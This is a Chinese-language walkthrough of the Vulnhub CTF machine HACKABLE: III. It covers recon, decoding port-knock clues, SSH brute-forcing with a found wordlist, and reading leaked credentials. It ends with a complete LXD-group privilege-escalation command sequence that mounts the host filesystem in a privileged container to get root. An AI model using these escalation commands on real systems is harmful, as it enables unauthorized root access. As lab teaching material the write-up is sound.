1. 程式人生 > 其它 >Vulnhub 靶場 HACKABLE: III

Vulnhub 靶場 HACKABLE: III

前期準備:

靶機地址:https://www.vulnhub.com/entry/hackable-iii,720/

kali攻擊機ip:192.168.11.129
靶機ip;192.168.11.207

一、資訊收集

1.使用nmap對目標靶機進行掃描

開放了 22 和 80 埠,22 埠還在過濾狀態,80 埠下掃出一個 robots.txt 檔案。

2. 80埠

檢視原始碼發現:

發現了登入地址 login_page/login.html,還有一個使用者名稱 jubiscleudo,還提示了埠敲門,拿著應該是對 22 埠敲門,並且要支援 jpg 檔案,還發現了一個郵箱 [email protected]

登入頁面:

再檢視下發現的 robots.txt 檔案:

檢視 /config :

有一個 1.txt 檔案:

base64 解碼得:10000,應該是埠敲門的埠之一。掃一下目錄:

挨個檢視一下,看有沒有其他埠敲門的埠:

/login.php

頁面是空白的,檢視原始碼發現有個 3.jpg 的地址,訪問一下:

下載下來看看有沒有隱寫:

又發現了一個埠:65535,檢視其他的目錄:

在 /css 目錄下發現一個 2.txt 檔案,檢視一下:

是 Brainfuck/Ook! 編碼,解碼一下得:4444,檢視其他的目錄:

/config.php 有資料庫連線的資訊,沒有連線成功,先不管。

/backup 目錄下有個 wordlist.txt:

是個密碼本,大概一會拿去爆破 ssh。其他頁面裡沒有發現資訊,那就拿我們發現的三個埠先進行埠敲門。

二、ssh登入

按照檔名的順序進行埠敲門 10000,4444,65535:

knock 192.168.11.207 10000 4444 65535

發現 ssh埠已經開了。
注: 一開始總是埠敲門失敗,重啟了也是不行,想到我可能是做了 nat 修改了網絡卡的過,於是到靶機中檢視一下配置,在 /etc/default/knockd 這個檔案中修改下網絡卡就可以進行埠敲門了)

ssh 開啟後,用我們之前發現的使用者名稱 jubiscleudo,和發現的字典爆破一下:

密碼是:onlymy,ssh 登入;

三、提權

檢視下系統內的檔案:

之前看看網站資訊時有個 /config.php 頁面,當時是連線錯誤,再在網站目錄下看看有沒有別的類似資訊:

發現有個 .bash_config.php 檔案,裡面有一組使用者名稱密碼 hackable_3:TrOLLED_3,看一下系統中有沒有這個使用者:

發現有,嘗試切換一下:

切換成功,發現是 lxd 組的,而且可用,lxd 可以進行提權

我用的第二種方法:

# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686

# import the image
lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.

# before running the image, start and configure the lxd storage pool as default 
lxd init

# run the image
lxc init myimage mycontainer -c security.privileged=true

# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true

# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh

獲得 root 許可權,在 /mnt/root/root 下檢視flag: